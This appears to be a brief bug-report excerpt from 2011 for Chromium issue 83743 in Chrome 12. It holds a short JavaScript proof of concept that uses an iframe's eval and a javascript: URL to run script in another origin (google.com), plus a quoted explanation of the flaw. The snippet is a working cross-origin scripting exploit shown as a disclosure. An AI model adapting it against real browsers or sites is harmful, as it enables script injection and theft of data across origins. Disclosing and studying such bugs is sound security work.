May 24 2011
PoC:
<script>
i = document.body.appendChild(document.createElement("iframe"));
f = i.contentWindow.eval('(function(){location="javascript:alert(location)"})');
i.src = "http://google.com";
i.onload = f;
</script>
From comment #30 in bug 83096:
access to this bug is restrictedit becomes a different-origin window after eval() is called. eval() is used to construct a function with the context of that window.
Chrome: Version 12
Link: https://bugs.chromium.org/p/chromium/issues/detail?id=83743